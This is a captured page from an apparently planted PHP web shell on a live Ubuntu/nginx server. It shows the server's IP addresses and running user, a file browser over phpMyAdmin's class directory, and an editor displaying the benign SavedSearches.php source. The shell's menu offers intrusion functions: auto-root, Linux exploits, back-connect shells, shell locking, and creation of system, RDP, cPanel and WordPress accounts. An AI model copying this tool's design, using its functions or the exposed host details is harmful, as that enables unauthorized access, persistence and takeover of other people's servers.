Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.2
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
phpmyadmin /
libraries /
classes /
[ HOME SHELL ]
Name
Size
Permission
Action
Charsets
[ DIR ]
drwxr-xr-x
Command
[ DIR ]
drwxr-xr-x
Config
[ DIR ]
drwxr-xr-x
Controllers
[ DIR ]
drwxr-xr-x
Database
[ DIR ]
drwxr-xr-x
Dbal
[ DIR ]
drwxr-xr-x
Display
[ DIR ]
drwxr-xr-x
Engines
[ DIR ]
drwxr-xr-x
Exceptions
[ DIR ]
drwxr-xr-x
Export
[ DIR ]
drwxr-xr-x
Gis
[ DIR ]
drwxr-xr-x
Html
[ DIR ]
drwxr-xr-x
Import
[ DIR ]
drwxr-xr-x
Navigation
[ DIR ]
drwxr-xr-x
Plugins
[ DIR ]
drwxr-xr-x
Properties
[ DIR ]
drwxr-xr-x
Providers
[ DIR ]
drwxr-xr-x
Query
[ DIR ]
drwxr-xr-x
Server
[ DIR ]
drwxr-xr-x
Setup
[ DIR ]
drwxr-xr-x
Table
[ DIR ]
drwxr-xr-x
Twig
[ DIR ]
drwxr-xr-x
Utils
[ DIR ]
drwxr-xr-x
Advisor.php
12.22
KB
-rw-r--r--
Bookmark.php
10.69
KB
-rw-r--r--
BrowseForeigners.php
10.82
KB
-rw-r--r--
Charsets.php
7.1
KB
-rw-r--r--
CheckUserPrivileges.php
11.94
KB
-rw-r--r--
Config.php
45.37
KB
-rw-r--r--
Console.php
3.38
KB
-rw-r--r--
Core.php
42.33
KB
-rw-r--r--
CreateAddField.php
17.57
KB
-rw-r--r--
DatabaseInterface.php
75
KB
-rw-r--r--
DbTableExists.php
3.21
KB
-rw-r--r--
Encoding.php
8.51
KB
-rw-r--r--
Error.php
13.97
KB
-rw-r--r--
ErrorHandler.php
17.15
KB
-rw-r--r--
ErrorReport.php
9.14
KB
-rw-r--r--
Export.php
46.24
KB
-rw-r--r--
File.php
21.28
KB
-rw-r--r--
FileListing.php
2.85
KB
-rw-r--r--
Font.php
5.58
KB
-rw-r--r--
Footer.php
10.54
KB
-rw-r--r--
Git.php
17.95
KB
-rw-r--r--
Header.php
21.45
KB
-rw-r--r--
Import.php
57.46
KB
-rw-r--r--
Index.php
15.07
KB
-rw-r--r--
IndexColumn.php
4.23
KB
-rw-r--r--
InsertEdit.php
130.18
KB
-rw-r--r--
InternalRelations.php
17.31
KB
-rw-r--r--
IpAllowDeny.php
9.76
KB
-rw-r--r--
Language.php
4.46
KB
-rw-r--r--
LanguageManager.php
23.96
KB
-rw-r--r--
Linter.php
5.25
KB
-rw-r--r--
ListAbstract.php
1.77
KB
-rw-r--r--
ListDatabase.php
4.3
KB
-rw-r--r--
Logging.php
2.72
KB
-rw-r--r--
Menu.php
21.3
KB
-rw-r--r--
Message.php
19.09
KB
-rw-r--r--
Mime.php
916
B
-rw-r--r--
Normalization.php
41.48
KB
-rw-r--r--
OpenDocument.php
8.42
KB
-rw-r--r--
Operations.php
37.84
KB
-rw-r--r--
OutputBuffering.php
3.98
KB
-rw-r--r--
ParseAnalyze.php
2.37
KB
-rw-r--r--
Partition.php
7.17
KB
-rw-r--r--
Pdf.php
4.34
KB
-rw-r--r--
Plugins.php
25.18
KB
-rw-r--r--
Profiling.php
2.26
KB
-rw-r--r--
RecentFavoriteTable.php
12.01
KB
-rw-r--r--
Relation.php
77.39
KB
-rw-r--r--
RelationCleanup.php
14.7
KB
-rw-r--r--
Replication.php
4.73
KB
-rw-r--r--
ReplicationGui.php
21.52
KB
-rw-r--r--
ReplicationInfo.php
4.83
KB
-rw-r--r--
Response.php
16.47
KB
-rw-r--r--
Routing.php
5.71
KB
-rw-r--r--
Sanitize.php
12.13
KB
-rw-r--r--
SavedSearches.php
11.93
KB
-rw-r--r--
Scripts.php
3.64
KB
-rw-r--r--
Session.php
8.01
KB
-rw-r--r--
Sql.php
66.67
KB
-rw-r--r--
SqlQueryForm.php
7.12
KB
-rw-r--r--
StorageEngine.php
12.53
KB
-rw-r--r--
SubPartition.php
3.32
KB
-rw-r--r--
SystemDatabase.php
3.66
KB
-rw-r--r--
Table.php
95.67
KB
-rw-r--r--
TablePartitionDefinition.php
6.51
KB
-rw-r--r--
Template.php
3.87
KB
-rw-r--r--
Theme.php
8.76
KB
-rw-r--r--
ThemeManager.php
9.58
KB
-rw-r--r--
Tracker.php
29.78
KB
-rw-r--r--
Tracking.php
37.25
KB
-rw-r--r--
Transformations.php
16.29
KB
-rw-r--r--
TwoFactor.php
6.8
KB
-rw-r--r--
Types.php
25.2
KB
-rw-r--r--
Url.php
8.76
KB
-rw-r--r--
UserPassword.php
7.11
KB
-rw-r--r--
UserPreferences.php
8.45
KB
-rw-r--r--
Util.php
102.31
KB
-rw-r--r--
Version.php
533
B
-rw-r--r--
VersionInformation.php
7.15
KB
-rw-r--r--
ZipExtension.php
10.76
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : SavedSearches.php
<?php /** * Saved searches managing */ declare(strict_types=1); namespace PhpMyAdmin; use function count; use function intval; use function is_string; use function json_decode; use function json_encode; use function max; use function min; /** * Saved searches managing */ class SavedSearches { /** * Global configuration * * @var array */ private $config = null; /** * Id * * @var int|null */ private $id = null; /** * Username * * @var string */ private $username = null; /** * DB name * * @var string */ private $dbname = null; /** * Saved search name * * @var string */ private $searchName = null; /** * Criterias * * @var array */ private $criterias = null; /** @var Relation */ private $relation; /** * @param array $config Global configuration * @param Relation $relation Relation instance */ public function __construct(array $config, Relation $relation) { $this->setConfig($config); $this->relation = $relation; } /** * Setter of id * * @param int|null $searchId Id of search * * @return static */ public function setId($searchId) { $searchId = (int) $searchId; if (empty($searchId)) { $searchId = null; } $this->id = $searchId; return $this; } /** * Getter of id * * @return int|null */ public function getId() { return $this->id; } /** * Setter of searchName * * @param string $searchName Saved search name * * @return static */ public function setSearchName($searchName) { $this->searchName = $searchName; return $this; } /** * Getter of searchName * * @return string */ public function getSearchName() { return $this->searchName; } /** * Setter of config * * @param array $config Global configuration * * @return static */ public function setConfig(array $config) { $this->config = $config; return $this; } /** * Getter of config * * @return array */ public function getConfig() { return $this->config; } /** * Setter for criterias * * @param array|string $criterias Criterias of saved searches * @param bool $json Criterias are in JSON format * * @return static */ public function setCriterias($criterias, $json = false) { if ($json === true && is_string($criterias)) { $this->criterias = json_decode($criterias, true); return $this; } $aListFieldsToGet = [ 'criteriaColumn', 'criteriaSort', 'criteriaShow', 'criteria', 'criteriaAndOrRow', 'criteriaAndOrColumn', 'rows', 'TableList', ]; $data = []; $data['criteriaColumnCount'] = count($criterias['criteriaColumn']); foreach ($aListFieldsToGet as $field) { if (! isset($criterias[$field])) { continue; } $data[$field] = $criterias[$field]; } /* Limit amount of rows */ if (! isset($data['rows'])) { $data['rows'] = 0; } else { $data['rows'] = min( max(0, intval($data['rows'])), 100 ); } for ($i = 0; $i <= $data['rows']; $i++) { $data['Or' . $i] = $criterias['Or' . $i]; } $this->criterias = $data; return $this; } /** * Getter for criterias * * @return array */ public function getCriterias() { return $this->criterias; } /** * Setter for username * * @param string $username Username * * @return static */ public function setUsername($username) { $this->username = $username; return $this; } /** * Getter for username * * @return string */ public function getUsername() { return $this->username; } /** * Setter for DB name * * @param string $dbname DB name * * @return static */ public function setDbname($dbname) { $this->dbname = $dbname; return $this; } /** * Getter for DB name * * @return string */ public function getDbname() { return $this->dbname; } /** * Save the search * * @return bool */ public function save() { global $dbi; if ($this->getSearchName() == null) { $message = Message::error( __('Please provide a name for this bookmarked search.') ); $response = Response::getInstance(); $response->setRequestStatus($message->isSuccess()); $response->addJSON('fieldWithError', 'searchName'); $response->addJSON('message', $message); exit; } if ($this->getUsername() == null || $this->getDbname() == null || $this->getSearchName() == null || $this->getCriterias() == null ) { $message = Message::error( __('Missing information to save the bookmarked search.') ); $response = Response::getInstance(); $response->setRequestStatus($message->isSuccess()); $response->addJSON('message', $message); exit; } $savedSearchesTbl = Util::backquote($this->config['cfgRelation']['db']) . '.' . Util::backquote($this->config['cfgRelation']['savedsearches']); //If it's an insert. if ($this->getId() === null) { $wheres = [ "search_name = '" . $dbi->escapeString($this->getSearchName()) . "'", ]; $existingSearches = $this->getList($wheres); if (! empty($existingSearches)) { $message = Message::error( __('An entry with this name already exists.') ); $response = Response::getInstance(); $response->setRequestStatus($message->isSuccess()); $response->addJSON('fieldWithError', 'searchName'); $response->addJSON('message', $message); exit; } $sqlQuery = 'INSERT INTO ' . $savedSearchesTbl . '(`username`, `db_name`, `search_name`, `search_data`)' . ' VALUES (' . "'" . $dbi->escapeString($this->getUsername()) . "'," . "'" . $dbi->escapeString($this->getDbname()) . "'," . "'" . $dbi->escapeString($this->getSearchName()) . "'," . "'" . $dbi->escapeString(json_encode($this->getCriterias())) . "')"; $result = (bool) $this->relation->queryAsControlUser($sqlQuery); if (! $result) { return false; } $this->setId($dbi->insertId()); return true; } //Else, it's an update. $wheres = [ 'id != ' . $this->getId(), "search_name = '" . $dbi->escapeString($this->getSearchName()) . "'", ]; $existingSearches = $this->getList($wheres); if (! empty($existingSearches)) { $message = Message::error( __('An entry with this name already exists.') ); $response = Response::getInstance(); $response->setRequestStatus($message->isSuccess()); $response->addJSON('fieldWithError', 'searchName'); $response->addJSON('message', $message); exit; } $sqlQuery = 'UPDATE ' . $savedSearchesTbl . "SET `search_name` = '" . $dbi->escapeString($this->getSearchName()) . "', " . "`search_data` = '" . $dbi->escapeString(json_encode($this->getCriterias())) . "' " . 'WHERE id = ' . $this->getId(); return (bool) $this->relation->queryAsControlUser($sqlQuery); } /** * Delete the search * * @return bool */ public function delete() { global $dbi; if ($this->getId() == null) { $message = Message::error( __('Missing information to delete the search.') ); $response = Response::getInstance(); $response->setRequestStatus($message->isSuccess()); $response->addJSON('fieldWithError', 'searchId'); $response->addJSON('message', $message); exit; } $savedSearchesTbl = Util::backquote($this->config['cfgRelation']['db']) . '.' . Util::backquote($this->config['cfgRelation']['savedsearches']); $sqlQuery = 'DELETE FROM ' . $savedSearchesTbl . "WHERE id = '" . $dbi->escapeString((string) $this->getId()) . "'"; return (bool) $this->relation->queryAsControlUser($sqlQuery); } /** * Load the current search from an id. * * @return bool Success */ public function load() { global $dbi; if ($this->getId() == null) { $message = Message::error( __('Missing information to load the search.') ); $response = Response::getInstance(); $response->setRequestStatus($message->isSuccess()); $response->addJSON('fieldWithError', 'searchId'); $response->addJSON('message', $message); exit; } $savedSearchesTbl = Util::backquote($this->config['cfgRelation']['db']) . '.' . Util::backquote($this->config['cfgRelation']['savedsearches']); $sqlQuery = 'SELECT id, search_name, search_data ' . 'FROM ' . $savedSearchesTbl . ' ' . "WHERE id = '" . $dbi->escapeString((string) $this->getId()) . "' "; $resList = $this->relation->queryAsControlUser($sqlQuery); $oneResult = $dbi->fetchArray($resList); if ($oneResult === false) { $message = Message::error(__('Error while loading the search.')); $response = Response::getInstance(); $response->setRequestStatus($message->isSuccess()); $response->addJSON('fieldWithError', 'searchId'); $response->addJSON('message', $message); exit; } $this->setSearchName($oneResult['search_name']) ->setCriterias($oneResult['search_data'], true); return true; } /** * Get the list of saved searches of a user on a DB * * @param string[] $wheres List of filters * * @return array List of saved searches or empty array on failure */ public function getList(array $wheres = []) { global $dbi; if ($this->getUsername() == null || $this->getDbname() == null ) { return []; } $savedSearchesTbl = Util::backquote($this->config['cfgRelation']['db']) . '.' . Util::backquote($this->config['cfgRelation']['savedsearches']); $sqlQuery = 'SELECT id, search_name ' . 'FROM ' . $savedSearchesTbl . ' ' . 'WHERE ' . "username = '" . $dbi->escapeString($this->getUsername()) . "' " . "AND db_name = '" . $dbi->escapeString($this->getDbname()) . "' "; foreach ($wheres as $where) { $sqlQuery .= 'AND ' . $where . ' '; } $sqlQuery .= 'order by search_name ASC '; $resList = $this->relation->queryAsControlUser($sqlQuery); $list = []; while ($oneResult = $dbi->fetchArray($resList)) { $list[$oneResult['id']] = $oneResult['search_name']; } return $list; } }
Close